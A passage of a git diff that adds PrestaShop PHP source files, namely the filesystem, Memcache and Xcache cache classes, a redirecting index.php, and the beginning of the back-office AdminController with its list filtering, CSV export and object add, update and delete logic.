return false; + } + + $filename = $this->getFilename($key); + if (!file_exists($filename)) + { + unset($this->keys[$key]); + $this->_writeKeys(); + return false; + } + $file = file_get_contents($filename); + return unserialize($file); + } + + /** + * @see Cache::_exists() + */ + protected function _exists($key) + { + if ($this->keys[$key] > 0 && $this->keys[$key] < time()) + { + $this->delete($key); + return false; + } + + return isset($this->keys[$key]) && file_exists($this->getFilename($key)); + } + + /** + * @see Cache::_delete() + */ + protected function _delete($key) + { + $filename = $this->getFilename($key); + if (!file_exists($filename)) + return true; + return unlink($filename); + } + + /** + * @see Cache::_writeKeys() + */ + protected function _writeKeys() + { + @file_put_contents($this->getFilename(self::KEYS_NAME), serialize($this->keys)); + } + + /** + * @see Cache::flush() + */ + public function flush() + { + $this->delete('*'); + return true; + } + + /** + * Delete cache directory + */ + public static function deleteCacheDirectory() + { + Tools::deleteDirectory(_PS_CACHEFS_DIRECTORY_, false); + } + + /** + * Create cache directory + * + * @param int $level_depth + * @param string $directory + */ + public static function createCacheDirectories($level_depth, $directory = false) + { + if (!$directory) + $directory = _PS_CACHEFS_DIRECTORY_; + $chars = '0123456789abcdef'; + for ($i = 0, $length = strlen($chars); $i < $length; $i++) + { + $new_dir = $directory.$chars[$i].'/'; + if (mkdir($new_dir)) + if (chmod($new_dir, 0777)) + if ($level_depth - 1 > 0) + CacheFs::createCacheDirectories($level_depth - 1, $new_dir); + } + } + + /** + * Transform a key into its absolute path + * + * @param string $key + * @return string + */ + protected function getFilename($key) + { + $path = _PS_CACHEFS_DIRECTORY_; + for ($i = 0; $i < $this->depth; $i++) + $path .= $key[$i].'/'; + + return $path.$key; + } +} diff --git a/classes/cache/CacheMemcache.php b/classes/cache/CacheMemcache.php new file mode 100755 index 0000000..99ef0ee --- /dev/null +++ b/classes/cache/CacheMemcache.php @@ -0,0 +1,202 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This class require PECL Memcache extension + * + */ +class CacheMemcacheCore extends Cache +{ + /** + * @var Memcache + */ + protected $memcache; + + /** + * @var bool Connection status + */ + protected $is_connected = false; + + public function __construct() + { + $this->connect(); + + // Get keys (this code comes from Doctrine 2 project) + $this->keys = array(); + $servers = self::getMemcachedServers(); + + if(is_array($servers) && count($servers) > 0 && method_exists('Memcache', 'getStats')) + $all_slabs = $this->memcache->getStats('slabs'); + + if(isset($all_slabs) && is_array($all_slabs)) + foreach ($all_slabs as $server => $slabs) + { + if (is_array($slabs)) + { + foreach (array_keys($slabs) as $slab_id) + { + if(is_int($slab_id)) + { + $dump = $this->memcache->getStats('cachedump', (int)$slab_id); + if ($dump) + { + foreach ($dump as $entries) + { + if ($entries) + $this->keys = array_merge($this->keys, array_keys($entries)); + } + } + } + } + } + } + } + + public function __destruct() + { + $this->close(); + } + + /** + * Connect to memcache server + */ + public function connect() + { + if (class_exists('Memcache') && extension_loaded('memcache')) + $this->memcache = new Memcache(); + else + return false; + + $servers = self::getMemcachedServers(); + if (!$servers) + return false; + foreach ($servers as $server) + $this->memcache->addServer($server['ip'], $server['port'], true, (int) $server['weight']); + + $this->is_connected = true; + } + + /** + * @see Cache::_set() + */ + protected function _set($key, $value, $ttl = 0) + { + if (!$this->is_connected) + return false; + return $this->memcache->set($key, $value, 0, $ttl); + } + + /** + * @see Cache::_get() + */ + protected function _get($key) + { + if (!$this->is_connected) + return false; + return $this->memcache->get($key); + } + + /** + * @see Cache::_exists() + */ + protected function _exists($key) + { + if (!$this->is_connected) + return false; + return isset($this->keys[$key]); + } + + /** + * @see Cache::_delete() + */ + protected function _delete($key) + { + if (!$this->is_connected) + return false; + return $this->memcache->delete($key); + } + + /** + * @see Cache::_writeKeys() + */ + protected function _writeKeys() + { + } + + /** + * @see Cache::flush() + */ + public function flush() + { + if (!$this->is_connected) + return false; + return $this->memcache->flush(); + } + + /** + * Close connection to memcache server + * + * @return bool + */ + protected function close() + { + if (!$this->is_connected) + return false; + return $this->memcache->close(); + } + + /** + * Add a memcache server + * + * @param string $ip + * @param int $port + * @param int $weight + */ + public static function addServer($ip, $port, $weight) + { + return Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'memcached_servers (ip, port, weight) VALUES(\''.pSQL($ip).'\', '.(int)$port.', '.(int)$weight.')', false); + } + + /** + * Get list of memcached servers + * + * @return array + */ + public static function getMemcachedServers() + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'memcached_servers', true, false); + } + + /** + * Delete a memcache server + * + * @param int $id_server + */ + public static function deleteServer($id_server) + { + return Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'memcached_servers WHERE id_memcached_server='.(int)$id_server); + } +} diff --git a/classes/cache/CacheXcache.php b/classes/cache/CacheXcache.php new file mode 100755 index 0000000..bae82d9 --- /dev/null +++ b/classes/cache/CacheXcache.php @@ -0,0 +1,89 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This class require Xcache extension + * + * @since 1.5.0 + */ +class CacheXcacheCore extends Cache +{ + public function __construct() + { + $this->keys = xcache_get(self::KEYS_NAME); + if (!is_array($this->keys)) + $this->keys = array(); + } + + /** + * @see Cache::_set() + */ + protected function _set($key, $value, $ttl = 0) + { + return xcache_set($key, $value, $ttl); + } + + /** + * @see Cache::_get() + */ + protected function _get($key) + { + return xcache_isset($key) ? xcache_get($key) : false; + } + + /** + * @see Cache::_exists() + */ + protected function _exists($key) + { + return xcache_isset($key); + } + + /** + * @see Cache::_delete() + */ + protected function _delete($key) + { + return xcache_unset($key); + } + + /** + * @see Cache::_writeKeys() + */ + protected function _writeKeys() + { + xcache_set(self::KEYS_NAME, $this->keys); + } + + /** + * @see Cache::flush() + */ + public function flush() + { + $this->delete('*'); + return true; + } +} diff --git a/classes/cache/index.php b/classes/cache/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/cache/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/classes/controller/AdminController.php b/classes/controller/AdminController.php new file mode 100755 index 0000000..87f4d5e --- /dev/null +++ b/classes/controller/AdminController.php @@ -0,0 +1,2979 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminControllerCore extends Controller +{ + public $path; + public static $currentIndex; + public $content; + public $warnings = array(); + public $informations = array(); + public $confirmations = array(); + public $shopShareDatas = false; + + public $_languages = array(); + public $default_form_language; + public $allow_employee_form_lang; + + public $layout = 'layout.tpl'; + + protected $meta_title; + + public $template = 'content.tpl'; + + /** @var string Associated table name */ + public $table; + + /** @var string Object identifier inside the associated table */ + protected $identifier = false; + + /** @var string Tab name */ + public $className; + + /** @var array tabAccess */ + public $tabAccess; + + /** @var integer Tab id */ + public $id = -1; + + public $required_database = false; + + /** @var string Security token */ + public $token; + + /** @var string shop | group_shop */ + public $shopLinkType; + + /** @var string Default ORDER BY clause when $_orderBy is not defined */ + protected $_defaultOrderBy = false; + protected $_defaultOrderWay = 'ASC'; + + public $tpl_form_vars = array(); + public $tpl_list_vars = array(); + public $tpl_delete_link_vars = array(); + public $tpl_option_vars = array(); + public $tpl_view_vars = array(); + public $tpl_required_fields_vars = array(); + + public $base_tpl_view = null; + public $base_tpl_form = null; + + /** @var bool if you want more fieldsets in the form */ + public $multiple_fieldsets = false; + + public $fields_value = false; + + /** @var array Errors displayed after post processing */ + public $errors = array(); + + /** @var define if the header of the list contains filter and sorting links or not */ + protected $list_simple_header; + + /** @var array list to be generated */ + protected $fields_list; + + /** @var array modules list filters */ + protected $filter_modules_list = null; + + /** @var array modules list filters */ + protected $modules_list = array(); + + /** @var array edit form to be generated */ + protected $fields_form; + + /** @var override of $fields_form */ + protected $fields_form_override; + + /** @var array list of option forms to be generated */ + protected $fields_options; + + protected $shopLink; + + /** @var string SQL query */ + protected $_listsql = ''; + + /** @var array Cache for query results */ + protected $_list = array(); + + /** @var define if the header of the list contains filter and sorting links or not */ + protected $toolbar_title; + + /** @var array list of toolbar buttons */ + protected $toolbar_btn = null; + + /** @var boolean scrolling toolbar */ + protected $toolbar_scroll = true; + + /** @var boolean set to false to hide toolbar and page title */ + protected $show_toolbar = true; + + /** @var boolean set to true to show toolbar and page title for options */ + protected $show_toolbar_options = false; + + /** @var integer Number of results in list */ + protected $_listTotal = 0; + + /** @var boolean Automatically join language table if true */ + public $lang = false; + + /** @var array WHERE clause determined by filter fields */ + protected $_filter; + + /** @var array Temporary SQL table WHERE clause determinated by filter fields */ + protected $_tmpTableFilter = ''; + + /** @var array Number of results in list per page (used in select field) */ + protected $_pagination = array(20, 50, 100, 300); + + /** @var string ORDER BY clause determined by field/arrows in list header */ + protected $_orderBy; + + /** @var string Order way (ASC, DESC) determined by arrows in list header */ + protected $_orderWay; + + /** @var array list of available actions for each list row - default actions are view, edit, delete, duplicate */ + protected $actions_available = array('view', 'edit', 'delete', 'duplicate'); + + /** @var array list of required actions for each list row */ + protected $actions = array(); + + /** @var array list of row ids associated with a given action for witch this action have to not be available */ + protected $list_skip_actions = array(); + + /* @var boolean don't show header & footer */ + protected $lite_display = false; + /** @var bool boolean List content lines are clickable if true */ + protected $list_no_link = false; + + protected $allow_export = false; + + /** @var array $cache_lang cache for traduction */ + public static $cache_lang = array(); + + /** @var array required_fields to display in the Required Fields form */ + public $required_fields = array(); + + /** @var Helper */ + protected $helper; + + /** + * @var array actions to execute on multiple selections + * Usage: + * array( + * 'actionName' => array( + * 'text' => $this->l('Message displayed on the submit button (mandatory)'), + * 'confirm' => $this->l('If set, this confirmation message will pop-up (optional)')), + * 'anotherAction' => array(...) + * ); + * + * If your action is named 'actionName', you need to have a method named bulkactionName() that will be executed when the button is clicked. + */ + protected $bulk_actions; + + /** + * @var array ids of the rows selected + */ + protected $boxes; + + /** @var string Do not automatically select * anymore but select only what is necessary */ + protected $explicitSelect = false; + + /** @var string Add fields into data query to display list */ + protected $_select; + + /** @var string Join tables into data query to display list */ + protected $_join; + + /** @var string Add conditions into data query to display list */ + protected $_where; + + /** @var string Group rows into data query to display list */ + protected $_group; + + /** @var string Having rows into data query to display list */ + protected $_having; + + protected $is_cms = false; + + /** @var string identifier to use for changing positions in lists (can be omitted if positions cannot be changed) */ + protected $position_identifier; + + /** @var boolean Table records are not deleted but marked as deleted if set to true */ + protected $deleted = false; + /** + * @var bool is a list filter set + */ + protected $filter; + protected $noLink; + protected $specificConfirmDelete = null; + protected $colorOnBackground; + /** @var bool If true, activates color on hover */ + protected $row_hover = true; + /** @string Action to perform : 'edit', 'view', 'add', ... */ + protected $action; + protected $display; + protected $_includeContainer = true; + protected $tab_modules_list = array('default_list' => array(), 'slider_list' => array()); + + public $tpl_folder; + + protected $bo_theme; + + /** @var bool Redirect or not ater a creation */ + protected $_redirect = true; + + /** @var array Name and directory where class image are located */ + public $fieldImageSettings = array(); + + /** @var string Image type */ + public $imageType = 'jpg'; + + /** @var instanciation of the class associated with the AdminController */ + protected $object; + + /** @var current object ID */ + protected $id_object; + + /** + * @var current controller name without suffix + */ + public $controller_name; + + public $multishop_context = -1; + public $multishop_context_group = true; + + /** + * Current breadcrumb position as an array of tab names + */ + protected $breadcrumbs; + + public function __construct() + { + global $timer_start; + $this->timer_start = $timer_start; + // Has to be remove for the next Prestashop version + global $token; + + $this->controller_type = 'admin'; + $this->controller_name = get_class($this); + if (strpos($this->controller_name, 'Controller')) + $this->controller_name = substr($this->controller_name, 0, -10); + parent::__construct(); + + if ($this->multishop_context == -1) + $this->multishop_context = Shop::CONTEXT_ALL | Shop::CONTEXT_GROUP | Shop::CONTEXT_SHOP; + + $this->bo_theme = ((Validate::isLoadedObject($this->context->employee) && $this->context->employee->bo_theme) ? $this->context->employee->bo_theme : 'default'); + if (!file_exists(_PS_BO_ALL_THEMES_DIR_.$this->bo_theme.DIRECTORY_SEPARATOR.'template')) + $this->bo_theme = 'default'; + + $this->context->smarty->setTemplateDir(array( + _PS_BO_ALL_THEMES_DIR_.$this->bo_theme.DIRECTORY_SEPARATOR.'template', + _PS_OVERRIDE_DIR_.'controllers'.DIRECTORY_SEPARATOR.'admin'.DIRECTORY_SEPARATOR.'templates' + )); + + $this->id = Tab::getIdFromClassName($this->controller_name); + $this->token = Tools::getAdminToken($this->controller_name.(int)$this->id.(int)$this->context->employee->id); + + $token = $this->token; + + $this->_conf = array( + 1 => $this->l('Deletion successful'), 2 => $this->l('The selection has been successfully deleted.'), + 3 => $this->l('Creation successful'), 4 => $this->l('Update successful'), + 5 => $this->l('The status has been updated successfully.'), 6 => $this->l('The settings have been updated successfully.'), + 7 => $this->l('The image was successfully deleted.'), 8 => $this->l('The module was downloaded successfully.'), + 9 => $this->l('The thumbnails were successfully regenerated.'), 10 => $this->l('Message sent to the customer.'), + 11 => $this->l('Comment added'), 12 => $this->l('Module(s) installed successfully.'), + 13 => $this->l('Module(s) uninstalled successfully.'), 14 => $this->l('The translation was successfully copied.'), + 15 => $this->l('The translations have been successfully added.'), 16 => $this->l('The module transplanted successfully to the hook.'), + 17 => $this->l('The module was successfully removed from the hook.'), 18 => $this->l('Upload successful'), + 19 => $this->l('Duplication was completed successfully.'), 20 => $this->l('The translation was added successfully, but the language has not been created.'), + 21 => $this->l('Module reset successfully.'), 22 => $this->l('Module deleted successfully.'), + 23 => $this->l('Localization pack imported successfully.'), 24 => $this->l('Localization pack imported successfully.'), + 25 => $this->l('The selcted images have successfully been moved.'), + 26 => $this->l('Your cover selection has been saved.'), + 27 => $this->l('The image shop association has been modified.'), + 28 => $this->l('A zone has been assigned to the selection successfully.'), + 29 => $this->l('Upgrade successful'), + 30 => $this->l('A partial refund was successfully created.'), + 31 => $this->l('The discount was successfully generated.') + ); + + if (!$this->identifier) $this->identifier = 'id_'.$this->table; + if (!$this->_defaultOrderBy) $this->_defaultOrderBy = $this->identifier; + $this->tabAccess = Profile::getProfileAccess($this->context->employee->id_profile, $this->id); + + // Fix for AdminHome + if ($this->controller_name == 'AdminHome') + $_POST['token'] = $this->token; + + if (!Shop::isFeatureActive()) + $this->shopLinkType = ''; + + //$this->base_template_folder = _PS_BO_ALL_THEMES_DIR_.$this->bo_theme.'/template'; + $this->override_folder = Tools::toUnderscoreCase(substr($this->controller_name, 5)).'/'; + // Get the name of the folder containing the custom tpl files + $this->tpl_folder = Tools::toUnderscoreCase(substr($this->controller_name, 5)).'/'; + + $this->initShopContext(); + + $this->context->currency = new Currency(Configuration::get('PS_CURRENCY_DEFAULT')); + } + + /** + * Set breadcrumbs array for the controller page + */ + public function initBreadcrumbs() + { + $tabs = array(); + $tabs = Tab::recursiveTab($this->id, $tabs); + $tabs = array_reverse($tabs); + foreach ($tabs as $tab) + $this->breadcrumbs[] = $tab['name']; + } + + /** + * set default toolbar_title to admin breadcrumb + * + * @return void + */ + public function initToolbarTitle() + { + $bread_extended = array_unique($this->breadcrumbs); + + switch ($this->display) + { + case 'edit': + $bread_extended[] = $this->l('Edit'); + break; + + case 'add': + $bread_extended[] = $this->l('Add new'); + break; + + case 'view': + $bread_extended[] = $this->l('View'); + break; + } + $this->toolbar_title = $bread_extended; + } + + /** + * Check rights to view the current tab + * + * @param bool $disable + * @return boolean + */ + public function viewAccess($disable = false) + { + if ($disable) + return true; + + if ($this->tabAccess['view'] === '1') + return true; + return false; + } + + /** + * Check for security token + */ + public function checkToken() + { + $token = Tools::getValue('token'); + return (!empty($token) && $token === $this->token); + } + + public function ajaxProcessHelpAccess() + { + $this->json = true; + $item = Tools::getValue('item'); + $iso_user = Tools::getValue('isoUser'); + $country = Tools::getValue('country'); + $version = Tools::getValue('version'); + + if (isset($item) && isset($iso_user) && isset($country)) + { + $helper = new HelperHelpAccess($item, $iso_user, $country, $version); + $this->content = $helper->generate(); + } + else + $this->content = 'none'; + $this->display = 'content'; + } + + /** + * Set the filters used for the list display + */ + public function processFilter() + { + $prefix = str_replace(array('admin', 'controller'), '', Tools::strtolower(get_class($this))); + // Filter memorization + if (isset($_POST) && !empty($_POST) && isset($this->table)) + foreach ($_POST as $key => $value) + { + if (stripos($key, $this->table.'Filter_') === 0) + $this->context->cookie->{$prefix.$key} = !is_array($value) ? $value : serialize($value); + elseif(stripos($key, 'submitFilter') === 0) + $this->context->cookie->$key = !is_array($value) ? $value : serialize($value); + } + + if (isset($_GET) && !empty($_GET) && isset($this->table)) + foreach ($_GET as $key => $value) + if (stripos($key, $this->table.'OrderBy') === 0 || stripos($key, $this->table.'Orderway') === 0) + $this->context->cookie->{$prefix.$key} = $value; + + $filters = $this->context->cookie->getFamily($prefix.$this->table.'Filter_'); + foreach ($filters as $key => $value) + { + /* Extracting filters from $_POST on key filter_ */ + if ($value != null && !strncmp($key, $prefix.$this->table.'Filter_', 7 + Tools::strlen($prefix.$this->table))) + { + $key = Tools::substr($key, 7 + Tools::strlen($prefix.$this->table)); + /* Table alias could be specified using a ! eg. alias!field */ + $tmp_tab = explode('!', $key); + $filter = count($tmp_tab) > 1 ? $tmp_tab[1] : $tmp_tab[0]; + + if ($field = $this->filterToField($key, $filter)) + { + $type = (array_key_exists('filter_type', $field) ? $field['filter_type'] : (array_key_exists('type', $field) ? $field['type'] : false)); if (($type == 'date' || $type == 'datetime') && is_string($value)) + $value = Tools::unSerialize($value); + $key = isset($tmp_tab[1]) ? $tmp_tab[0].'.`'.$tmp_tab[1].'`' : '`'.$tmp_tab[0].'`'; + + // Assignement by reference + if (array_key_exists('tmpTableFilter', $field)) + $sql_filter = & $this->_tmpTableFilter; + elseif (array_key_exists('havingFilter', $field)) + $sql_filter = & $this->_filterHaving; + else + $sql_filter = & $this->_filter; + + /* Only for date filtering (from, to) */ + if (is_array($value)) + { + if (isset($value[0]) && !empty($value[0])) + { + if (!Validate::isDate($value[0])) + $this->errors[] = Tools::displayError('The \'From\' date format is invalid (YYYY-MM-DD)'); + else + $sql_filter .= ' AND '.pSQL($key).' >= \''.pSQL(Tools::dateFrom($value[0])).'\''; + } + + if (isset($value[1]) && !empty($value[1])) + { + if (!Validate::isDate($value[1])) + $this->errors[] = Tools::displayError('The \'To\' date format is invalid (YYYY-MM-DD)'); + else + $sql_filter .= ' AND '.pSQL($key).' <= \''.pSQL(Tools::dateTo($value[1])).'\''; + } + } + else + { + $sql_filter .= ' AND '; + $check_key = ($key == $this->identifier || $key == '`'.$this->identifier.'`'); + + if ($type == 'int' || $type == 'bool') + $sql_filter .= (($check_key || $key == '`active`') ? 'a.' : '').pSQL($key).' = '.(int)$value.' '; + elseif ($type == 'decimal') + $sql_filter .= ($check_key ? 'a.' : '').pSQL($key).' = '.(float)$value.' '; + elseif ($type == 'select') + $sql_filter .= ($check_key ? 'a.' : '').pSQL($key).' = \''.pSQL($value).'\' '; + else + $sql_filter .= ($check_key ? 'a.' : '').pSQL($key).' LIKE \'%'.pSQL($value).'%\' '; + } + } + } + } + } + + /** + * @todo uses redirectAdmin only if !$this->ajax + */ + public function postProcess() + { + if ($this->ajax) + { + // from ajax-tab.php + $action = Tools::getValue('action'); + // no need to use displayConf() here + if (!empty($action) && method_exists($this, 'ajaxProcess'.Tools::toCamelCase($action))) + return $this->{'ajaxProcess'.Tools::toCamelCase($action)}(); + elseif (method_exists($this, 'ajaxProcess')) + return $this->ajaxProcess(); + } + else + { + // Process list filtering + if ($this->filter) + $this->processFilter(); + + // If the method named after the action exists, call "before" hooks, then call action method, then call "after" hooks + if (!empty($this->action) && method_exists($this, 'process'.ucfirst(Tools::toCamelCase($this->action)))) + { + // Hook before action + Hook::exec('actionAdmin'.ucfirst($this->action).'Before', array('controller' => $this)); + Hook::exec('action'.get_class($this).ucfirst($this->action).'Before', array('controller' => $this)); + // Call process + $return = $this->{'process'.Tools::toCamelCase($this->action)}(); + // Hook After Action + Hook::exec('actionAdmin'.ucfirst($this->action).'After', array('controller' => $this, 'return' => $return)); + Hook::exec('action'.get_class($this).ucfirst($this->action).'After', array('controller' => $this, 'return' => $return)); + + return $return; + } + } + } + + /** + * Object Delete images + */ + public function processDeleteImage() + { + if (Validate::isLoadedObject($object = $this->loadObject())) + { + if (($object->deleteImage())) + { + $redirect = self::$currentIndex.'&add'.$this->table.'&'.$this->identifier.'='.Tools::getValue($this->identifier).'&conf=7&token='.$this->token; + if (!$this->ajax) + $this->redirect_after = $redirect; + else + $this->content = 'ok'; + } + } + $this->errors[] = Tools::displayError('An error occurred while attempting to delet the image. (cannot load object).'); + return $object; + } + + public function processExport() + { + // clean buffer + if (ob_get_level() && ob_get_length() > 0) + ob_clean(); + $this->getList($this->context->language->id); + if (!count($this->_list)) + return; + + header('Content-type: text/csv'); + header('Content-Type: application/force-download; charset=UTF-8'); + header('Cache-Control: no-store, no-cache'); + header('Content-disposition: attachment; filename="'.$this->table.'_'.date('Y-m-d_His').'.csv"'); + + $headers = array(); + foreach ($this->fields_list as $datas) + $headers[] = Tools::htmlentitiesDecodeUTF8($datas['title']); + + $content = array(); + foreach ($this->_list as $i => $row) + { + $content[$i] = array(); + foreach ($this->fields_list as $key => $value) + if (isset($row[$key])) + $content[$i][] = Tools::htmlentitiesDecodeUTF8($row[$key]); + + } + $this->context->smarty->assign(array( + 'export_precontent' => "\xEF\xBB\xBF", + 'export_headers' => $headers, + 'export_content' => $content + ) + ); + + $this->layout = 'layout-export.tpl'; + } + + /** + * Object Delete + */ + public function processDelete() + { + if (Validate::isLoadedObject($object = $this->loadObject())) + { + $res = true; + // check if request at least one object with noZeroObject + if (isset($object->noZeroObject) && count(call_user_func(array($this->className, $object->noZeroObject))) <= 1) + { + $this->errors[] = Tools::displayError('You need at least one object.'). + ' <b>'.$this->table.'</b><br />'. + Tools::displayError('You cannot delete all of the items.'); + } + elseif (array_key_exists('delete', $this->list_skip_actions) && in_array($object->id, $this->list_skip_actions['delete'])) //check if some ids are in list_skip_actions and forbid deletion + $this->errors[] = Tools::displayError('You cannot delete this item.'); + else + { + if ($this->deleted) + { + if (!empty($this->fieldImageSettings)) + $res = $object->deleteImage(); + + if (!$res) + $this->errors[] = Tools::displayError('Unable to delete associated images.'); + + $object->deleted = 1; + if ($object->update()) + $this->redirect_after = self::$currentIndex.'&conf=1&token='.$this->token; + } + elseif ($object->delete()) + $this->redirect_after = self::$currentIndex.'&conf=1&token='.$this->token; + $this->errors[] = Tools::displayError('An error occurred during deletion.'); + } + } + else + { + $this->errors[] = Tools::displayError('An error occurred while deleting the object.'). + ' <b>'.$this->table.'</b> '. + Tools::displayError('(cannot load object)'); + } + return $object; + } + + /** + * Call the right method for creating or updating object + * + * @return mixed + */ + public function processSave() + { + if ($this->id_object) + { + $this->object = $this->loadObject(); + return $this->processUpdate(); + } + else + return $this->processAdd(); + } + + /** + * Object creation + */ + public function processAdd() + { + /* Checking fields validity */ + $this->validateRules(); + if (count($this->errors) <= 0) + { + $this->object = new $this->className(); + + $this->copyFromPost($this->object, $this->table); + $this->beforeAdd($this->object); + if (method_exists($this->object, 'add') && !$this->object->add()) + { + $this->errors[] = Tools::displayError('An error occurred while creating an object.'). + ' <b>'.$this->table.' ('.Db::getInstance()->getMsgError().')</b>'; + } + /* voluntary do affectation here */ + elseif (($_POST[$this->identifier] = $this->object->id) && $this->postImage($this->object->id) && !count($this->errors) && $this->_redirect) + { + $parent_id = (int)Tools::getValue('id_parent', 1); + $this->afterAdd($this->object); + $this->updateAssoShop($this->object->id); + // Save and stay on same form + if (empty($this->redirect_after) && $this->redirect_after !== false && Tools::isSubmit('submitAdd'.$this->table.'AndStay')) + $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'='.$this->object->id.'&conf=3&update'.$this->table.'&token='.$this->token; + // Save and back to parent + if (empty($this->redirect_after) && $this->redirect_after !== false && Tools::isSubmit('submitAdd'.$this->table.'AndBackToParent')) + $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'='.$parent_id.'&conf=3&token='.$this->token; + // Default behavior (save and back) + if (empty($this->redirect_after) && $this->redirect_after !== false) + $this->redirect_after = self::$currentIndex.($parent_id ? '&'.$this->identifier.'='.$this->object->id : '').'&conf=3&token='.$this->token; + } + } + + $this->errors = array_unique($this->errors); + if (!empty($this->errors)) + { + // if we have errors, we stay on the form instead of going back to the list + $this->display = 'edit'; + return false; + } + + return $this->object; + } + + + /** + * Object update + */ + public function processUpdate() + { + /* Checking fields validity */ + $this->validateRules(); + + if (empty($this->errors)) + { + $id = (int)Tools::getValue($this->identifier); + + /* Object update */ + if (isset($id) && !empty($id)) + { + $object = new $this->className($id); + if (Validate::isLoadedObject($object)) + { + /* Specific to objects which must not be deleted */ + if ($this->deleted && $this->beforeDelete($object)) + { + // Create new one with old objet values + $object_new = $object->duplicateObject(); + if (Validate::isLoadedObject($object_new)) + { + // Update old object to deleted + $object->deleted = 1; + $object->update(); + + // Update new object with post values + $this->copyFromPost($object_new, $this->table); + $result = $object_new->update(); + if (Validate::isLoadedObject($object_new)) + $this->afterDelete($object_new, $object->id); + } + } + else + { + $this->copyFromPost($object, $this->table); + $result = $object->update(); + $this->afterUpdate($object); + } + + if ($object->id) + $this->updateAssoShop($object->id); + + if (!$result) + { + $this->errors[] = Tools::displayError('An error occurred while updating an object.'). + ' <b>'.$this->table.'</b> ('.Db::getInstance()->getMsgError().')'; + } + elseif ($this->postImage($object->id) && !count($this->errors) && $this->_redirect) + { + $parent_id = (int)Tools::getValue('id_parent', 1); + // Specific back redirect + if ($back = Tools::getValue('back')) + $this->redirect_after = urldecode($back).'&conf=4'; + // Specific scene feature + // @todo change stay_here submit name (not clear for redirect to scene ... ) + if (Tools::getValue('stay_here') == 'on' || Tools::getValue('stay_here') == 'true' || Tools::getValue('stay_here') == '1') + $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'='.$object->id.'&conf=4&updatescene&token='.$this->token; + // Save and stay on same form + // @todo on the to following if, we may prefer to avoid override redirect_after previous value + if (Tools::isSubmit('submitAdd'.$this->table.'AndStay')) + $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'='.$object->id.'&conf=4&update'.$this->table.'&token='.$this->token; + // Save and back to parent + if (Tools::isSubmit('submitAdd'.$this->table.'AndBackToParent')) + $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'='.$parent_id.'&conf=4&token='.$this->token; + + // Default behavior (save and back) + if (empty($this->redirect_after)) + $this->redirect_after = self::$currentIndex.($parent_id ? '&'.$this->identifier.'='.$object->id : '').'&conf=4&token='.$this->token; + } + } + else + $this->errors[] = Tools::displayError('An error occurred while updating an object.'). + ' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + } + } + $this->errors = array_unique($this->errors); + if (!empty($this->errors)) + { + // if we have errors, we stay on the form instead of going back to the list + $this->display = 